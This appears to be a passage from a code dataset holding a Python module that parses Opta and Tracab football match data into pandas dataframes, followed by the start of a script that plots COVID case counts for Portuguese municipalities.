6, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 6, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 7, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 7, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.KeyProperty", "line_number": 8, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 8, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.transactional", "line_number": 11, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 11, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.transactional", "line_number": 20, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 20, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Key", "line_number": 29, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 29, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.transactional", "line_number": 27, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 27, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Model", "line_number": 43, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 43, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 45, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 45, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.TextProperty", "line_number": 46, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 46, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 47, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 47, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Model", "line_number": 50, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 50, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.TextProperty", "line_number": 52, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 52, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StructuredProperty", "line_number": 53, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 53, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Model", "line_number": 89, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 89, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 90, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 90, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Key", "line_number": 94, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 94, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 96, "usage_type": "call"}]}
{"seq_id": "13210126804", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct  8 13:53:07 2020\r\n\r\n@author: ricks\r\n\"\"\"\r\nimport pathlib\r\nimport xml.etree.ElementTree as ET\r\nfrom typing import List, Union\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\ndef add_attacking_direction(eventsDF, tdatDF, playersDBDF, tMetaDF):\r\n\r\n    attacking_directions = dict()\r\n\r\n    home_gk = playersDBDF.loc[(playersDBDF[\"position\"] == \"Goalkeeper\")].loc[0][\r\n        \"jersey_no\"\r\n    ]\r\n\r\n    gk_starting_position = tdatDF.loc[\r\n        (tdatDF[\"frameID\"] == tMetaDF[\"period1_start\"])\r\n        & (tdatDF[\"team\"] == 1)\r\n        & (tdatDF[\"jersey_no\"] == int(home_gk))\r\n    ][\"x\"]\r\n\r\n    if int(gk_starting_position) > 0:\r\n\r\n        attacking_directions[\"team1_period1\"] = 1\r\n        attacking_directions[\"team0_period1\"] = -1\r\n        attacking_directions[\"team1_period2\"] = -1\r\n        attacking_directions[\"team0_period2\"] = 1\r\n\r\n    else:\r\n\r\n        attacking_directions[\"team1_period1\"] = -1\r\n        attacking_directions[\"team0_period1\"] = 1\r\n        attacking_directions[\"team1_period2\"] = 1\r\n        attacking_directions[\"team0_period2\"] = -1\r\n\r\n    if tMetaDF[\"period3_end\"] != 0:\r\n\r\n        home_gk = playersDBDF.loc[(playersDBDF[\"position\"] == \"Goalkeeper\")].loc[0][\r\n            \"jersey_no\"\r\n        ]\r\n\r\n        gk_starting_position = tdatDF.loc[\r\n            (tdatDF[\"frameID\"] == tMetaDF[\"period3_start\"])\r\n            & (tdatDF[\"team\"] == 1)\r\n            & (tdatDF[\"jersey_no\"] == int(home_gk))\r\n        ][\"x\"]\r\n\r\n        if int(gk_starting_position) > 0:\r\n\r\n            attacking_directions[\"team1_period3\"] = 1\r\n            attacking_directions[\"team0_period3\"] = -1\r\n            attacking_directions[\"team1_period4\"] = -1\r\n            attacking_directions[\"team0_period4\"] = 1\r\n\r\n        else:\r\n\r\n            attacking_directions[\"team1_period3\"] = -1\r\n            attacking_directions[\"team0_period3\"] = 1\r\n            attacking_directions[\"team1_period4\"] = 1\r\n            attacking_directions[\"team0_period4\"] = -1\r\n\r\n    else:\r\n\r\n        attacking_directions[\"team1_period3\"] = 0\r\n        attacking_directions[\"team0_period3\"] = 0\r\n        attacking_directions[\"team1_period4\"] = 0\r\n        attacking_directions[\"team0_period4\"] = 0\r\n\r\n    team_reference = playersDBDF[[\"team_id\", \"team\"]].drop_duplicates()\r\n    team_reference = team_reference.reset_index(drop=True)\r\n\r\n    eventsDF = eventsDF.merge(\r\n        team_reference, left_on=\"team_id\", right_on=\"team_id\", how=\"outer\"\r\n    )\r\n\r\n    eventsDF[\"attacking_direction\"] = 0\r\n\r\n    for i in range(0, len(eventsDF)):\r\n\r\n        ball_to_assess = eventsDF.loc[i]\r\n\r\n        if ball_to_assess[\"period_id\"] == 1:\r\n\r\n            if ball_to_assess[\"team\"] == 1:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team1_period1\"\r\n                ]\r\n\r\n            elif ball_to_assess[\"team\"] == 0:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team0_period1\"\r\n                ]\r\n\r\n        if ball_to_assess[\"period_id\"] == 2:\r\n\r\n            if ball_to_assess[\"team\"] == 1:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team1_period2\"\r\n                ]\r\n\r\n            elif ball_to_assess[\"team\"] == 0:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team0_period2\"\r\n                ]\r\n\r\n        if ball_to_assess[\"period_id\"] == 3:\r\n\r\n            if ball_to_assess[\"team\"] == 1:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team1_period3\"\r\n                ]\r\n\r\n            elif ball_to_assess[\"team\"] == 0:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team0_period3\"\r\n                ]\r\n\r\n        if ball_to_assess[\"period_id\"] == 4:\r\n\r\n            if ball_to_assess[\"team\"] == 1:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team1_period4\"\r\n                ]\r\n\r\n            elif ball_to_assess[\"team\"] == 0:\r\n                eventsDF.at[i, \"attacking_direction\"] = attacking_directions[\r\n                    \"team0_period4\"\r\n                ]\r\n\r\n    return eventsDF\r\n\r\n\r\ndef create_playerDB(f7_filename):\r\n\r\n    \"\"\"\r\n    Function that parses an f7 file to a workable pandas dataframe.\r\n\r\n    The input is an xml that contains valuable playerinformation.\r\n\r\n    Different steps are taken to get to the final database.\r\n    These steps are based on the strange and weird structure of the xml file which was hard to work with.\r\n\r\n    1. Create a dataframe of all strating players. This contains:\r\n        - Formation place\r\n        - playerID\r\n        - Position\r\n        - shirt number\r\n        - status (Starter or substitute)\r\n    2. create a dataframe of all player info. This contains:\r\n        - playerID\r\n        - First_name\r\n        - last_name\r\n        - full_name\r\n    3. merge both dataframes\r\n    4. Add playing time and work around substitutions. This contains:\r\n        - full time in minutes\r\n        - minutes seperately\r\n        - seconds seperately\r\n    5. Add teamID for each player (THIS WAS TRICKY, NEED TO CHECK FOR MULTIPLE MATCHES)\r\n\r\n    output is dataframe containing the above\r\n    \"\"\"\r\n\r\n    tree = ET.parse(f7_filename)\r\n    root = tree.getroot()\r\n\r\n    # match_id = int(root.find(\"SoccerDocument\").get(\"uID\")[1:])\r\n\r\n    gameinfo = root.findall(\"SoccerDocument\")[0]\r\n    # gameinfo = gameinfo_1[0]\r\n\r\n    formation_place = []\r\n    player_id = []\r\n    position = []\r\n    jersey_no = []\r\n    status = []\r\n\r\n    for neighbor in gameinfo.iter(\"MatchPlayer\"):\r\n        formation_place.append(neighbor.get(\"Formation_Place\"))\r\n        player_id.append(neighbor.get(\"PlayerRef\")[1:])\r\n        position.append(neighbor.get(\"Position\"))\r\n        jersey_no.append(neighbor.get(\"ShirtNumber\"))\r\n        status.append(neighbor.get(\"Status\"))\r\n\r\n    starting_players = pd.DataFrame(\r\n        {\r\n            \"formation_place\": formation_place,\r\n            \"player_id\": player_id,\r\n            \"position\": position,\r\n            \"jersey_no\": jersey_no,\r\n            \"status\": status,\r\n        }\r\n    )\r\n\r\n    p_id = []\r\n    first_name = []\r\n    last_name = []\r\n    player_name = []\r\n\r\n    for neighbor in gameinfo.iter(\"Player\"):\r\n        p_id.append(neighbor.get(\"uID\")[1:])\r\n        first_name.append(neighbor.find(\"PersonName\").find(\"First\").text)\r\n        last_name.append(neighbor.find(\"PersonName\").find(\"Last\").text)\r\n        player_name.append(first_name[-1] + \" \" + last_name[-1])\r\n\r\n    bench_players = pd.DataFrame(\r\n        {\r\n            \"first_name\": first_name,\r\n            \"player_id\": p_id,\r\n            \"last_name\": last_name,\r\n            \"player_name\": player_name,\r\n        }\r\n    )\r\n\r\n    players = starting_players.merge(bench_players, on=\"player_id\", how=\"inner\")\r\n\r\n    time = []\r\n    period_id = []\r\n    player_off = []\r\n    player_on = []\r\n\r\n    for neighbor in gameinfo.iter(\"Substitution\"):\r\n        time.append(int(neighbor.get(\"Min\")) + int(neighbor.get(\"Sec\")) / 60)\r\n        period_id.append(neighbor.get(\"Period\"))\r\n        player_off.append(neighbor.get(\"SubOff\")[1:])\r\n        if not neighbor.get(\"Retired\") == '1':\r\n            player_on.append(neighbor.get(\"SubOn\")[1:])\r\n        else:\r\n            player_on.append('None')\r\n    subs = pd.DataFrame(\r\n        {\r\n            \"time\": time,\r\n            \"period_id\": period_id,\r\n            \"player_off\": player_off,\r\n            \"player_on\": player_on,\r\n        }\r\n    )\r\n\r\n    players[\"start_min\"] = 0\r\n    players[\"end_min\"] = 0\r\n\r\n    for neighbor in gameinfo.iter(\"Stat\"):\r\n        if neighbor.get(\"Type\") == \"match_time\":\r\n            match_length = int(neighbor.text)\r\n\r\n    players.loc[players[\"status\"] == \"Start\", \"end_min\"] = match_length\r\n\r\n    for index, content in subs.iterrows():\r\n        players.loc[players[\"player_id\"] == content[\"player_off\"], \"end_min\"] = content[\r\n            \"time\"\r\n        ]\r\n        players.loc[\r\n            players[\"player_id\"] == content[\"player_on\"], \"start_min\"\r\n        ] = content[\"time\"]\r\n        players.loc[\r\n            players[\"player_id\"] == content[\"player_on\"], \"end_min\"\r\n        ] = match_length\r\n\r\n    for neighbor in gameinfo.iter(\"Booking\"):\r\n        if neighbor.get(\"Card\") == \"Red\":\r\n            players.loc[\r\n                players[\"player_id\"] == neighbor.get(\"PlayerRef\")[1:], \"end_min\"\r\n            ] = (int(neighbor.get(\"Min\")) + int(neighbor.get(\"Sec\")) / 60)\r\n\r\n    players[\"mins_played\"] = players[\"end_min\"] - players[\"start_min\"]\r\n\r\n    # players[\"match_id\"] = match_id\r\n\r\n    home_away = []\r\n\r\n    for team in gameinfo.findall(\"Team\"):\r\n        home_away.append(team.get(\"uID\")[1:])\r\n\r\n    players = players[players.mins_played != 0]\r\n    players = players.reset_index(drop=True)\r\n\r\n    subs_index = players[(players.status == \"Sub\")].index\r\n    diff_subs_index = np.diff(subs_index)\r\n\r\n    for i in range(len(subs_index) - 1):\r\n        if subs_index[i + 1] - subs_index[i] > 1:\r\n            index_finder = subs_index[i] + 1\r\n            players.loc[:index_finder, \"team\"] = home_away[0]\r\n            players.loc[index_finder:, \"team\"] = home_away[1]\r\n\r\n    if np.max(diff_subs_index) == 1:\r\n        if np.min(subs_index) < 20:\r\n            index_finder = 11\r\n            players.loc[:index_finder, \"team\"] = home_away[0]\r\n            players.loc[index_finder:, \"team\"] = home_away[1]\r\n\r\n        else:\r\n            index_finder = 11\r\n            players.loc[:index_finder, \"team\"] = home_away[0]\r\n            players.loc[index_finder:, \"team\"] = home_away[1]\r\n\r\n    return players, home_away\r\n\r\n\r\ndef parse_f24(file_name):\r\n\r\n    # parse the xml and convert to a tree and root\r\n    tree = ET.parse(file_name)\r\n    root = tree.getroot()\r\n\r\n    # get the main game info from the single 'Game' node\r\n    gameinfo = root.findall(\"Game\")\r\n    gameinfo = gameinfo[0]\r\n    game_id = gameinfo.get(\"id\")\r\n    home_team_id = gameinfo.get(\"home_team_id\")\r\n    home_team_name = gameinfo.get(\"home_team_name\")\r\n    away_team_id = gameinfo.get(\"away_team_id\")\r\n    away_team_name = gameinfo.get(\"away_team_name\")\r\n    competition_id = gameinfo.get(\"competition_id\")\r\n    competition_name = gameinfo.get(\"competition_name\")\r\n    season_id = gameinfo.get(\"season_id\")\r\n\r\n    Edata_columns = [\r\n        \"id\",\r\n        \"event_id\",\r\n        \"type_id\",\r\n        \"period_id\",\r\n        \"min\",\r\n        \"sec\",\r\n        \"outcome\",\r\n        \"player_id\",\r\n        \"team_id\",\r\n        \"x\",\r\n        \"y\",\r\n        \"sequence_id\",\r\n        \"possession_id\",\r\n    ]\r\n\r\n    Q_ids = []\r\n    Q_values = []\r\n    Edata = []\r\n\r\n    # loop through each ball node and grab the information\r\n    for i in root.iter(\"Event\"):\r\n\r\n        # get the info from the ball node main chunk\r\n        id_ = int(i.get(\"id\"))\r\n        event_id = i.get(\"event_id\")\r\n        type_id = i.get(\"type_id\")\r\n        period_id = int(i.get(\"period_id\"))\r\n        outcome = int(i.get(\"outcome\"))\r\n        min_ = int(i.get(\"min\"))\r\n        sec = int(i.get(\"sec\"))\r\n        player_id = i.get(\"player_id\")\r\n        team_id = i.get(\"team_id\")\r\n        x = i.get(\"x\")\r\n        y = i.get(\"y\")\r\n        possession_id = i.get(\"possession_id\")\r\n        sequence_id = i.get(\"sequence_id\")\r\n\r\n        Edata_values = [\r\n            id_,\r\n            event_id,\r\n            type_id,\r\n            period_id,\r\n            min_,\r\n            sec,\r\n            outcome,\r\n            player_id,\r\n            team_id,\r\n            x,\r\n            y,\r\n            sequence_id,\r\n            possession_id,\r\n        ]\r\n\r\n        # find all of the Q information for that file\r\n        Qs = i.findall(\"./Q\")\r\n\r\n        # create some empty lists to append the results to\r\n        qualifier_id = []\r\n        Q_value = []\r\n\r\n        # loop through all of the Qs and grab the info\r\n        for child in Qs:\r\n            qualifier_id.append(child.get(\"qualifier_id\"))\r\n            Q_value.append(child.get(\"value\", default=\"1\"))\r\n\r\n        Q_ids.append(qualifier_id)\r\n        Q_values.append(Q_value)\r\n        Edata.append(Edata_values)\r\n\r\n    # Stack all ball Data\r\n    df = pd.DataFrame(np.vstack(Edata), columns=Edata_columns)\r\n\r\n    unique_Q_ids = np.unique(np.concatenate(Q_ids))\r\n\r\n    # create an array for fast assignments\r\n    Qarray = np.zeros((df.shape[0], len(unique_Q_ids)))\r\n    Qarray = Qarray.astype(\"O\")\r\n    Qarray[:] = np.nan\r\n\r\n    # dict to relate Q_ids to array indices\r\n    keydict = dict(zip(unique_Q_ids, range(len(unique_Q_ids))))\r\n\r\n    # iter through all Q_ids, Q_values, assign values to appropriate indices\r\n    for idx, (i, v) in enumerate(zip(Q_ids, Q_values)):\r\n        Qarray[idx, [keydict.get(q) for q in Q_ids[idx]]] = Q_values[idx]\r\n\r\n    # df from array\r\n    Qdf = pd.DataFrame(Qarray, columns=unique_Q_ids, index=df.index)\r\n\r\n    # combine\r\n    game_df = pd.concat([df, Qdf], axis=1)\r\n\r\n    # assign game values\r\n    game_df[\"competition_id\"] = competition_id\r\n    game_df[\"game_id\"] = game_id\r\n    game_df[\"home_team_id\"] = home_team_id\r\n    game_df[\"home_team_name\"] = home_team_name\r\n    game_df[\"away_team_id\"] = away_team_id\r\n    game_df[\"away_team_name\"] = away_team_name\r\n    game_df[\"competition_id\"] = competition_id\r\n    game_df[\"competition_name\"] = competition_name\r\n    game_df[\"season_id\"] = season_id\r\n    game_df[\"competition_id\"] = competition_id\r\n\r\n    game_df[[\"id\", \"period_id\", \"min\", \"sec\", \"outcome\", \"140\", \"141\"]] = game_df[\r\n        [\"id\", \"period_id\", \"min\", \"sec\", \"outcome\", \"140\", \"141\"]\r\n    ].astype(\"float\")\r\n\r\n    game_df[\"x\"] = pd.to_numeric(game_df[\"x\"])\r\n    game_df[\"y\"] = pd.to_numeric(game_df[\"y\"])\r\n\r\n    game_df[['x', '140']] = game_df[['x', '140']] / 100 * 105\r\n    game_df[['y', '141']] = game_df[['y', '141']] / 100 * 68\r\n    for i in root.iter(\"Game\"):\r\n        play_date = i.get(\"game_date\").split('T')[0]   \r\n\r\n    # write to csv\r\n    return game_df, play_date\r\n\r\n\r\ndef parse_tracab(\r\n    tracking_filename: Union[str, pathlib.Path],\r\n    game_metadata: pd.DataFrame,\r\n    home_away: List,\r\n) -> pd.DataFrame:\r\n\r\n    \"\"\"\r\n    Parse a tracab.dat file and convert it to a workable pandas dataframe.\r\n\r\n    Tracking_filename: File containing tracking data of all players and the ball\r\n        File contains:\r\n            - FrameID = captured frame of datapoints\r\n            - team = 1: home and 0: away 10: ball\r\n            - target_id = set player to a nummeric value (make data anonymous). Value of 100 for ball.\r\n            - jersey_nu = players jersey number, 999 for ball\r\n            - x = position of player/ball along the length of the pitch in meters\r\n            - y = position of player/ball olong the width of the pitch in meters\r\n            - z = height of the ball in meters\r\n            - owning_team = team in possession of the ball A for away and H for Home\r\n            - ball_status = ball in or out of play: Alive = in play and Dead = ball out of play\r\n            - Ball_contact = value for the ball not sure what is here. B4: when ball is dead;\r\n              Whistle, SetHome, SetAway\r\n\r\n    Metadata_filename: File containing\r\n        File contains:\r\n            - Values corresponding to the starting frame of the first and second half\r\n            - Values corresponding to the ending frame of the first and second half\r\n            - pitch length and pitch width in meters\r\n\r\n    After parsing all the data based on the settings below the dataframe can be cleaned.\r\n    Set values for removing officials and tream_dead_time\r\n    removing officials = true -> remove officials; false = don't remove\r\n    trim_dead_time = True -> keep data when ball is out of play; false = delete data when ball is out of play\r\n\r\n    Output: Dataframe of the entire match of approximately 3.3 milion datapoints and 10 columns\r\n    \"\"\"\r\n\r\n    remove_officials = True\r\n    trim_dead_time = True\r\n\r\n    # First save all the dataframes/lines from the .dat file in a list\r\n    # This will take a lot of time initially\r\n\r\n    with open(tracking_filename) as fn:\r\n        file_content = fn.readlines()\r\n\r\n    content_raw = [x.strip() for x in file_content]\r\n\r\n    # Create empty lists to store the data per variable\r\n    frameID = []\r\n    team = []\r\n    target_id = []\r\n    jersey_no = []\r\n    x = []\r\n    y = []\r\n    z = []\r\n    speed = []\r\n    ball_owning_team = []\r\n    ball_status = []\r\n\r\n    for data_row in content_raw:\r\n\r\n        data_split = data_row.replace(\":\", \";\").split(\";\")\r\n        data_split = list(filter(None, data_split))\r\n\r\n        ball_data_split = data_split[-1].split(\",\")\r\n\r\n        frameID.append(int(data_split[0]))\r\n        team.append(\"10\")\r\n        target_id.append(\"100\")\r\n        jersey_no.append(\"999\")\r\n        x.append(float(ball_data_split[0]))\r\n        y.append(float(ball_data_split[1]))\r\n        z.append(float(ball_data_split[2]))\r\n        speed.append(float(ball_data_split[3]))\r\n        ball_owning_team.append(ball_data_split[4])\r\n        ball_status.append(ball_data_split[5])\r\n\r\n        for content in data_split[1:-1]:\r\n            split_content = content.split(\",\")\r\n            frameID.append(int(data_split[0]))\r\n            team.append(split_content[0])\r\n            target_id.append(split_content[1])\r\n            jersey_no.append(split_content[2])\r\n            x.append(float(split_content[3]))\r\n            y.append(float(split_content[4]))\r\n            z.append(float(0.0))\r\n            speed.append(float(split_content[5]))\r\n            ball_owning_team.append(ball_data_split[4])\r\n            ball_status.append(ball_data_split[5])\r\n\r\n    all_tracking_data = pd.DataFrame(\r\n        {\r\n            \"frameID\": frameID,\r\n            \"team\": team,\r\n            \"target_id\": target_id,\r\n            \"jersey_no\": jersey_no,\r\n            \"x\": x,\r\n            \"y\": y,\r\n            \"z\": z,\r\n            \"speed\": speed,\r\n            \"ball_owning_team\": ball_owning_team,\r\n            \"ball_status\": ball_status,\r\n        }\r\n    )\r\n\r\n    # convert x, y and z to meters and set (0,0) at the bottom left.\r\n    all_tracking_data[\"x\"] = (\r\n        all_tracking_data[\"x\"] / 100 + game_metadata.loc[0, \"pitch_x\"] / 2\r\n    )\r\n    all_tracking_data[\"y\"] = (\r\n        all_tracking_data[\"y\"] / 100 + game_metadata.loc[0, \"pitch_y\"] / 2\r\n    )\r\n    all_tracking_data[\"z\"] = all_tracking_data[\"z\"] / 100\r\n\r\n    if remove_officials:\r\n        use = [\"1\", \"0\", \"10\"]\r\n        all_tracking_data = all_tracking_data[all_tracking_data.team.isin(use)]\r\n\r\n    if trim_dead_time:\r\n        if game_metadata.loc[0, \"period3_start\"] == 0:\r\n            all_tracking_data = all_tracking_data[\r\n                (\r\n                    (\r\n                        all_tracking_data[\"frameID\"]\r\n                        >= game_metadata.loc[0, \"period1_start\"]\r\n                    )\r\n                    & (\r\n                        all_tracking_data[\"frameID\"]\r\n                        <= game_metadata.loc[0, \"period1_end\"]\r\n                    )\r\n                )\r\n                | (\r\n                    (\r\n                        all_tracking_data[\"frameID\"]\r\n                        >= game_metadata.loc[0, \"period2_start\"]\r\n                    )\r\n                    & (\r\n                        all_tracking_data[\"frameID\"]\r\n                        <= game_metadata.loc[0, \"period2_end\"]\r\n                    )\r\n                )\r\n            ]\r\n\r\n    all_tracking_data = all_tracking_data.reset_index(drop=True)\r\n\r\n    all_tracking_data.loc[all_tracking_data.loc[:, \"team\"] == \"0\", \"team\"] = home_away[\r\n        1\r\n    ]\r\n    all_tracking_data.loc[all_tracking_data.loc[:, \"team\"] == \"1\", \"team\"] = home_away[\r\n        0\r\n    ]\r\n\r\n    return all_tracking_data\r\n\r\n\r\ndef parse_tracking_metadata(\r\n    metadata_filename: Union[str, pathlib.Path]\r\n) -> pd.DataFrame:\r\n    \"\"\"\r\n    An xml file will be parsed.\r\n\r\n    Output = Dataframe containing:\r\n        - FrameID of start and end of first and second half\r\n        - Length and width of the pitch\r\n\r\n    Remarks: period 3 and 4 have values of 0 if there was no overtime. Overtime can only happen in cupmatches.\r\n    \"\"\"\r\n    tree = ET.parse(metadata_filename)\r\n    root = tree.getroot()\r\n\r\n    # period_startframe = []\r\n    # period_endframe = []\r\n\r\n    gamexml = root.findall(\"match\")[0]\r\n    # gamexml.findall('period').get('iStartFrame')\r\n\r\n    info_raw = []\r\n\r\n    for i in gamexml.iter(\"period\"):\r\n        # get the info from the ball node main chunk\r\n        #         print(int(i.get('iId')))\r\n        info_raw.append(i.get(\"iStartFrame\"))\r\n        info_raw.append(i.get(\"iEndFrame\"))\r\n\r\n    # # Create empty dict Capitals\r\n    game_metadata = pd.DataFrame()\r\n\r\n    # # Fill it with some values\r\n    game_metadata.loc[0, \"period1_start\"] = pd.to_numeric(info_raw[0])\r\n    game_metadata.loc[0, \"period1_end\"] = pd.to_numeric(info_raw[1])\r\n    game_metadata.loc[0, \"period2_start\"] = pd.to_numeric(info_raw[2])\r\n    game_metadata.loc[0, \"period2_end\"] = pd.to_numeric(info_raw[3])\r\n    game_metadata.loc[0, \"period3_start\"] = pd.to_numeric(info_raw[4])\r\n    game_metadata.loc[0, \"period3_end\"] = pd.to_numeric(info_raw[5])\r\n    game_metadata.loc[0, \"period4_start\"] = pd.to_numeric(info_raw[6])\r\n    game_metadata.loc[0, \"period4_end\"] = pd.to_numeric(info_raw[7])\r\n\r\n    for detail in root.iter(\"match\"):\r\n        game_metadata.loc[0, \"pitch_x\"] = pd.to_numeric(detail.get(\"fPitchXSizeMeters\"))\r\n        game_metadata.loc[0, \"pitch_y\"] = pd.to_numeric(detail.get(\"fPitchYSizeMeters\"))\r\n\r\n    return game_metadata\r\n", "repo_name": "rememberthejenny/football", "sub_path": "optaparser.py", "file_name": "optaparser.py", "file_ext": "py", "file_size_in_byte": 21464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "xml.etree.ElementTree.parse", "line_number": 171, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 171, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 192, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 213, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 294, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 310, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 310, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 396, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 396, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 403, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 413, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 416, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 434, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 435, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 447, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 447, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 448, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 449, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 537, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 450, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 603, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 603, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 614, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 614, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 632, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 635, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 636, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 637, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 638, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 639, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 640, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 641, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 642, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 645, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 646, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 604, "usage_type": "attribute"}]}
{"seq_id": "39410581351", "text": "import matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy.ndimage.filters import gaussian_filter1d\n\ncasos_wide = pd.read_csv('data_concelhos.csv')\n\ncasos_wide.columns = map(str.title, casos_wide.columns)\nplot_days = 1000\nsmoothing = 7\nconcelhos_lx = {'name':'Lisboa','conc':['Lisboa','Loures','Odivelas','Sintra','Amadora','Cascais','Mafra','Oeiras','Vila Franca De Xira','Azambuja']}\nconcelhos_aml = {'name':'AML','conc':['Lisboa','Loures','Odivelas','Sintra','Amadora','Cascais','Mafra','Oeiras','Vila Franca De Xira','Azambuja','Alcochete', \\\n                'Almada','Barreiro','Moita','Montijo','Palmela','Setúbal','Sesimbra','Seixal']}\nconcelhos_lxsul = {'name':'LxSul','conc':['Sesimbra','Seixal','Barreiro','Montijo']}\nconcelhos_curia = {'name':'Curia','conc':['Anadia','Mealhada','Águeda','Cantanhede','Oliveira Do Bairro','Mortágua']}\nconcelhos_amp = {'name':'AMP','conc':['Arouca','Espinho','Gondomar','Maia','Matosinhos','Oliveira De Azeméis','Paredes','Porto', \\\n                   'Póvoa De Varzim','Santa Maria Da Feira','Santo Tirso','São João Da Madeira','Trofa','Vale De Cambra', \\\n                   'Valongo','Vila Do Conde','Vila Nova De Gaia']}\nround(len(list(casos_wide['Data'].tail(plot_days)))/10,0)\nplticks = list(casos_wide['Data'].tail(plot_days))[10::max(1,int(len(list(casos_wide['Data'].tail(plot_days)))/20))]\n\nplt.rc('xtick', labelsize=20)\nplt.rc('ytick', labelsize=20)\n\ndef plot_conc(concelhos):\n    fig, ax = plt.subplots(figsize=(15,12))\n    for concelho in concelhos['conc']:\n        casos_wide['temp'] = gaussian_filter1d(casos_wide[concelho].diff(), sigma=3)\n        #_ = plt.plot(casos_wide['Data'].tail(plot_days), casos_wide[concelho].diff().rolling(window=smoothing).mean().tail(plot_days))\n        _ = plt.plot(casos_wide['Data'].tail(plot_days), casos_wide['temp'].tail(plot_days))\n        lgd = ax.legend(concelhos['conc'], prop={'size': 